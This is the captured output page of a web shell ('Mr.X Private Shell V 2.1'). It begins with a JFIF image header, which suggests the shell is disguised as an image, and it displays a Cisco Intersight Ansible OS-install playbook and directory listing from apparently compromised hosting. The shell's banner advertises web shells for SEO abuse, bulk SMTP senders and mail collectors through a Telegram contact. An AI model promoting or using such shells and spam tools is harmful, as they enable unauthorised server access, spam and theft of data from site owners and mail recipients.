����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
---
#
# The hosts group used is provided by the group variable or defaulted to 'Intersight_Servers'.
# You can specify a specific host (or host group) on the command line:
#   ansible-playbook ... -e group=<your host group>
#   e.g., ansible-playbook server_profiles.yml -e group=TME_Demo
#
- hosts: "{{ group | default('Intersight_Servers') }}"
  connection: local
  collections:
    - cisco.intersight
  gather_facts: false
  vars:
    # Create an anchor for api_info that can be used throughout the file
    api_info: &api_info
      # if api_key vars are omitted, INTERSIGHT_API_KEY_ID, INTERSIGHT_API_PRIVATE_KEY,
      # and INTERSIGHT_API_URI environment variables used for API key data
      api_private_key: "{{ api_private_key | default(omit) }}"
      api_key_id: "{{ api_key_id | default(omit) }}"
      api_uri: "{{ api_uri | default(omit) }}"
      validate_certs: "{{ validate_certs | default(omit) }}"
    # OS and SCU Versions
    os_version: ESXi 7.0 U3
    os_config: ESXi7.0ConfigFile
    scu_version: 6.2.2a
    org_name: default
    #
    # Example using vault:
    # 1. Place the vault password into a plain text file (this is the password for vault access - do not check this into any repos!)
    #    $ cat vault_password_file
    #    ...
    # 2. Encrypt a string (e.g., 'notagoodpassword').  You will later decrypt using your vault password file
    #    $ ansible-vault encrypt_string --vault-id tme@vault_password_file 'notagoodpassword' --name 'vault_password'
    #    (response is the encrypting string)
    # 3. Place the vault variable in your playbook (example below):
    # 4. Run the playbook and supply the vault password file (used to decrypt the vaulted password in the playbook)
    #    $ ansible-playbook -i inventory --vault-id tme@vault_password_file os_install.yml
    #
    vault_password: !vault |
          $ANSIBLE_VAULT;1.2;AES256;tme
          36656264656638646566313633353832396138616264313032303433656636643638363864653936
          6532646363303435633965383432633630306566323838640a363566376234303366313064306162
          39326331373231643333616335393232353633393834653161633032383539383537656336666639
          3635306535366233660a356235393664653538386136626439646137626531663135363636326131
          3538
  tasks:
    # Get the Organization Moid
    - name: "Get {{ org_name }} Organization Moid"
      intersight_rest_api:
        <<: *api_info
        resource_path: /organization/Organizations
        query_params:
          $filter: "Name eq '{{ org_name }}'"
      register: org_resp
      delegate_to: localhost
    # Get the OS File Moid
    - name: "Get {{ os_version }} OS File Moid"
      intersight_rest_api:
        <<: *api_info
        resource_path: /softwarerepository/OperatingSystemFiles
        query_params:
          $filter: "Version eq '{{ os_version }}' and PermissionResources.Moid eq '{{ org_resp.api_response.Moid }}'"
      register: os_resp
      delegate_to: localhost
    # Get the SCU File Moid
    - name: "Get {{ scu_version }} SCU File Moid"
      intersight_rest_api:
        <<: *api_info
        resource_path: /firmware/ServerConfigurationUtilityDistributables
        query_params:
          $filter: "Version eq '{{ scu_version }}' and PermissionResources.Moid eq '{{ org_resp.api_response.Moid }}'"
      register: scu_resp
      delegate_to: localhost
    # Get the OS Config File Moid
    - name: "Get {{ os_config }} OS Config File Moid"
      intersight_rest_api:
        <<: *api_info
        resource_path: /os/ConfigurationFiles
        query_params:
          $filter: "Name eq '{{ os_config }}'"
      register: os_config_resp
      delegate_to: localhost
    # Install OS
    - name: Install OS
      intersight_rest_api:
        <<: *api_info
        resource_path: /bulk/Requests
        update_method: post
        api_body: {
          "Verb": "POST",
          "Uri": "/v1/os/Installs",
          "Requests": [
            {
              "ObjectType": "bulk.RestSubRequest",
              "Body": {
                "InstallMethod": "vMedia",
                "Image": {
                  "Moid": "{{ os_resp.api_response.Moid }}",
                  "ObjectType": "softwarerepository.OperatingSystemFile"
                },
                "OsduImage": {
                  "ObjectType": "firmware.ServerConfigurationUtilityDistributable",
                  "Moid": "{{ scu_resp.api_response.Moid }}"
                },
                "OverrideSecureBoot": true,
                "Organization": {
                  "Moid": "{{ org_resp.api_response.Moid }}"
                },
                "Answers": {
                  "Hostname": "sjc07-r14-1-1-6",
                  "IpConfigType": "DHCP",
                  "RootPassword": "{{ vault_password }}",
                  "IsRootPasswordCrypted": false,
                  "Source": "Template",
                  "IpConfiguration": {
                    "ObjectType": "os.Ipv4Configuration"
                  }
                },
                "ConfigurationFile": {
                  "Moid": "{{ os_config_resp.api_response.Moid }}",
                  "ObjectType": "os.ConfigurationFile"
                },
                "AdditionalParameters": null,
                "InstallTarget": {
                  "ObjectType": "os.PhysicalDisk",
                  "Name": "Disk 1",
                  "StorageControllerSlotId": "1",
                  "SerialNumber": "99B0A05NFJXF"
                },
                "Server": {
                  "ObjectType": "compute.{{ object_type }}",
                  "Moid": "{{ server_moid }}"
                }
              }
            }
          ],
          "Organization": {
            "Moid": "{{ org_resp.api_response.Moid }}"
          }
        }
      delegate_to: localhost
      register: install_resp

Filemanager

Name Type Size Permission Actions
roles Folder 0755
claim_device.yml File 1.07 KB 0644
cos_server_policies_and_profiles.yml File 12.47 KB 0644
deploy_server_profiles.yml File 1.62 KB 0644
derive_profiles.yml File 2.44 KB 0644
devnet_inventory File 803 B 0644
example_hx_host_vars File 2.24 KB 0644
example_imm_inventory File 501 B 0644
example_inventory File 361 B 0644
firmware_direct_download.yml File 3.28 KB 0644
hcl_status.yml File 1.91 KB 0644
hyperflex_cluster_profiles.yml File 5.35 KB 0644
hyperflex_edge_cluster_profiles.yml File 4.63 KB 0644
intersight_boot_order_policy.yml File 1.42 KB 0644
intersight_domain_profile.yml File 4.79 KB 0644
intersight_eth_network.yml File 1.79 KB 0644
intersight_imc_access_policy.yml File 868 B 0644
intersight_lan_connectivity_policy.yml File 4.54 KB 0644
intersight_local_user_policy.yml File 2.5 KB 0644
intersight_ntp_policy.yml File 1.11 KB 0644
intersight_port_policy.yml File 2.79 KB 0644
intersight_server_profile.yml File 2.16 KB 0644
intersight_server_profile_template.yml File 3.12 KB 0644
intersight_virtual_media_policy.yml File 946 B 0644
intersight_vm_hosts.yml File 1.71 KB 0644
only_new_server_profiles.yml File 2.84 KB 0644
os_install.yml File 5.69 KB 0644
ova_workflow.yml File 2.43 KB 0644
profile_inventory File 126 B 0644
profile_with_buckets.yml File 1.04 KB 0644
pxe_boot.yml File 1.39 KB 0644
server_actions.yml File 900 B 0644
server_firmware.yml File 3.99 KB 0644
servers_to_file.yml File 530 B 0644
update_all_inventory.yml File 2.54 KB 0644
update_hx_edge_inventory.yml File 2.69 KB 0644
update_hx_inventory.yml File 2.69 KB 0644
update_standalone_inventory.yml File 2.72 KB 0644
vault_intersight_server_profile.yml File 4.31 KB 0644
vlans_to_file.yml File 269 B 0644